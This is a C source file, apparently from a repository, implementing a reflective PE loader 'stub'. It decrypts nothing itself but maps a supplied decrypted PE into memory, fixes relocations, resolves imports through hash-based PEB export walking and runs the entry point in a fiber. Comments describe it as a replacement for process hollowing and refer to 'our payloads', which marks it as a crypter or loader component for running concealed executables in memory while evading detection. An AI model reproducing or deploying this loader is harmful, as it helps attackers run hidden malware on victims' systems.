Files

300 lines
13 KiB
C
Raw Permalink Normal View History

2026-08-27 11:03:10 -06:00
/**
* reflective_stub.c — In-process reflective PE loader + fiber execution
*
* Replaces process hollowing (runpe_stub.c). Loads the decrypted PE entirely
* within the current process — no suspended child, no cross-process writes.
*
* Flow:
* 1. Parse PE headers (DOS → NT → sections)
* 2. VirtualAlloc(PAGE_READWRITE) at any address
* 3. Copy PE headers + map each section to its RVA
* 4. Process base relocations (delta = actual - preferred)
* 5. Resolve imports via LoadLibraryA + PEB export walk
* 6. Set correct per-section page protections
* 7. Flush instruction cache
* 8. Execute entry point via fiber (ConvertThreadToFiber → CreateFiber → SwitchToFiber)
*/
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>
#include "api_resolve.h"
/* ── Section protection mapping ─────────────────────────────────── */
static DWORD section_protection(DWORD characteristics) {
DWORD protect = PAGE_NOACCESS;
int exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
int read = (characteristics & IMAGE_SCN_MEM_READ) != 0;
int write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (exec && read && write) protect = PAGE_EXECUTE_READWRITE;
else if (exec && read) protect = PAGE_EXECUTE_READ;
else if (exec && write) protect = PAGE_EXECUTE_WRITECOPY;
else if (exec) protect = PAGE_EXECUTE;
else if (read && write) protect = PAGE_READWRITE;
else if (read) protect = PAGE_READONLY;
else if (write) protect = PAGE_WRITECOPY;
return protect;
}
/* ── Relocation processing ──────────────────────────────────────── */
static int process_relocations(uint8_t *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) {
if (delta == 0) return 1;
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (reloc_rva == 0 || reloc_size == 0) return 0;
IMAGE_BASE_RELOCATION *block = (IMAGE_BASE_RELOCATION *)(base + reloc_rva);
IMAGE_BASE_RELOCATION *end = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + reloc_size);
while (block < end && block->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries = (WORD *)((uint8_t *)block + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++) {
WORD type = entries[i] >> 12;
WORD offset = entries[i] & 0x0FFF;
uint8_t *patch_addr = base + block->VirtualAddress + offset;
switch (type) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
#ifdef _WIN64
case IMAGE_REL_BASED_DIR64: {
uint64_t *ptr = (uint64_t *)patch_addr;
*ptr += (uint64_t)delta;
break;
}
#endif
case IMAGE_REL_BASED_HIGHLOW: {
uint32_t *ptr = (uint32_t *)patch_addr;
*ptr += (uint32_t)delta;
break;
}
case IMAGE_REL_BASED_HIGH: {
uint16_t *ptr = (uint16_t *)patch_addr;
*ptr += (uint16_t)((delta >> 16) & 0xFFFF);
break;
}
case IMAGE_REL_BASED_LOW: {
uint16_t *ptr = (uint16_t *)patch_addr;
*ptr += (uint16_t)(delta & 0xFFFF);
break;
}
default:
break;
}
}
block = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + block->SizeOfBlock);
}
return 1;
}
/* ── Import resolution ──────────────────────────────────────────── */
static int resolve_pe_imports(uint8_t *base, IMAGE_NT_HEADERS *nt) {
DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD import_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
if (import_rva == 0 || import_size == 0) return 1;
IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_rva);
while (desc->Name != 0) {
const char *dll_name = (const char *)(base + desc->Name);
HMODULE hMod = g_api.pLoadLibraryA(dll_name);
if (!hMod) {
desc++;
continue;
}
/* Walk the thunk arrays */
#ifdef _WIN64
IMAGE_THUNK_DATA64 *orig_thunk = (IMAGE_THUNK_DATA64 *)(
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
IMAGE_THUNK_DATA64 *iat_thunk = (IMAGE_THUNK_DATA64 *)(base + desc->FirstThunk);
uint64_t ordinal_flag = IMAGE_ORDINAL_FLAG64;
#else
IMAGE_THUNK_DATA32 *orig_thunk = (IMAGE_THUNK_DATA32 *)(
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
IMAGE_THUNK_DATA32 *iat_thunk = (IMAGE_THUNK_DATA32 *)(base + desc->FirstThunk);
uint32_t ordinal_flag = IMAGE_ORDINAL_FLAG32;
#endif
while (orig_thunk->u1.AddressOfData != 0) {
FARPROC func = NULL;
if (orig_thunk->u1.Ordinal & ordinal_flag) {
/* Import by ordinal */
WORD ordinal = (WORD)(orig_thunk->u1.Ordinal & 0xFFFF);
func = (FARPROC)peb_get_proc((void *)hMod, 0);
/* Fallback: we can't easily resolve by ordinal via PEB walk,
so use GetProcAddress if available via LoadLibrary */
if (!func) {
/* Use ordinal directly — cast to LPCSTR */
typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR);
fn_GetProcAddress pGPA = (fn_GetProcAddress)peb_get_proc(
g_api.kernel32_base,
0 /* We'll resolve by name below instead */
);
(void)ordinal;
func = NULL; /* ordinal imports rare for our payloads */
}
} else {
/* Import by name */
IMAGE_IMPORT_BY_NAME *hint = (IMAGE_IMPORT_BY_NAME *)(
base + (DWORD)(orig_thunk->u1.AddressOfData));
/* Resolve via PEB export walk on the loaded module */
func = (FARPROC)peb_get_proc((void *)hMod,
djb2_hash_ascii(hint->Name));
}
if (func) {
#ifdef _WIN64
iat_thunk->u1.Function = (ULONGLONG)func;
#else
iat_thunk->u1.Function = (DWORD)func;
#endif
}
orig_thunk++;
iat_thunk++;
}
desc++;
}
return 1;
}
/* ── Fiber entry trampoline ─────────────────────────────────────── */
typedef BOOL (WINAPI *fn_DllMain)(HINSTANCE, DWORD, LPVOID);
typedef struct {
fn_DllMain entry_point;
LPVOID image_base;
} FiberContext;
static void WINAPI fiber_entry(LPVOID param) {
FiberContext *ctx = (FiberContext *)param;
ctx->entry_point((HINSTANCE)ctx->image_base, DLL_PROCESS_ATTACH, NULL);
}
/* ── Public API ─────────────────────────────────────────────────── */
/* Forward declare internal functions used by resolve_pe_imports */
DWORD djb2_hash_ascii(const char *str);
void *peb_get_proc(void *base, DWORD hash);
/**
* Execute a PE image via in-process reflective loading + fiber.
* pe_data: pointer to decrypted PE bytes
* pe_len: length of the PE data
* Returns 0 on success, -1 on failure.
*/
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
/* ── Validate PE ──────────────────────────────────────────── */
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
DWORD image_size = nt->OptionalHeader.SizeOfImage;
/* ── Allocate in-process memory (RW, no RWX) ─────────────── */
uint8_t *base = (uint8_t *)g_api.pVirtualAlloc(
NULL, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!base) return -1;
/* ── Copy PE headers ──────────────────────────────────────── */
memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders);
/* ── Map sections ─────────────────────────────────────────── */
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].SizeOfRawData == 0) continue;
DWORD copy_size = sec[i].SizeOfRawData;
if (sec[i].PointerToRawData + copy_size > pe_len) {
copy_size = pe_len - sec[i].PointerToRawData;
}
memcpy(base + sec[i].VirtualAddress,
pe_data + sec[i].PointerToRawData,
copy_size);
}
/* ── Process base relocations ─────────────────────────────── */
ptrdiff_t delta = (ptrdiff_t)(base - (uint8_t *)(ULONG_PTR)nt->OptionalHeader.ImageBase);
IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
if (delta != 0) {
if (!process_relocations(base, mapped_nt, delta)) {
/* No relocation table and base mismatch — can't proceed */
if (!(mapped_nt->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) {
g_api.pVirtualFree(base, 0, MEM_RELEASE);
return -1;
}
}
}
/* ── Resolve imports ──────────────────────────────────────── */
if (!resolve_pe_imports(base, mapped_nt)) {
g_api.pVirtualFree(base, 0, MEM_RELEASE);
return -1;
}
/* ── Set per-section page protections ─────────────────────── */
sec = IMAGE_FIRST_SECTION(mapped_nt);
for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) {
DWORD protect = section_protection(sec[i].Characteristics);
DWORD virt_size = sec[i].Misc.VirtualSize;
if (virt_size == 0) virt_size = sec[i].SizeOfRawData;
if (virt_size == 0) continue;
DWORD old_protect;
g_api.pVirtualProtect(
base + sec[i].VirtualAddress,
virt_size,
protect,
&old_protect);
}
/* ── Flush instruction cache ──────────────────────────────── */
g_api.pFlushInstructionCache(g_api.pGetCurrentProcess(), base, image_size);
/* ── Execute via fiber ────────────────────────────────────── */
fn_DllMain entry = (fn_DllMain)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint);
FiberContext fiber_ctx;
fiber_ctx.entry_point = entry;
fiber_ctx.image_base = base;
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
if (!main_fiber) {
/* Already a fiber — get current fiber */
main_fiber = GetCurrentFiber();
}
LPVOID exec_fiber = g_api.pCreateFiber(0, fiber_entry, &fiber_ctx);
if (!exec_fiber) {
g_api.pVirtualFree(base, 0, MEM_RELEASE);
return -1;
}
g_api.pSwitchToFiber(exec_fiber);
/* Control returns here after payload completes or calls SwitchToFiber back */
g_api.pDeleteFiber(exec_fiber);
return 0;
}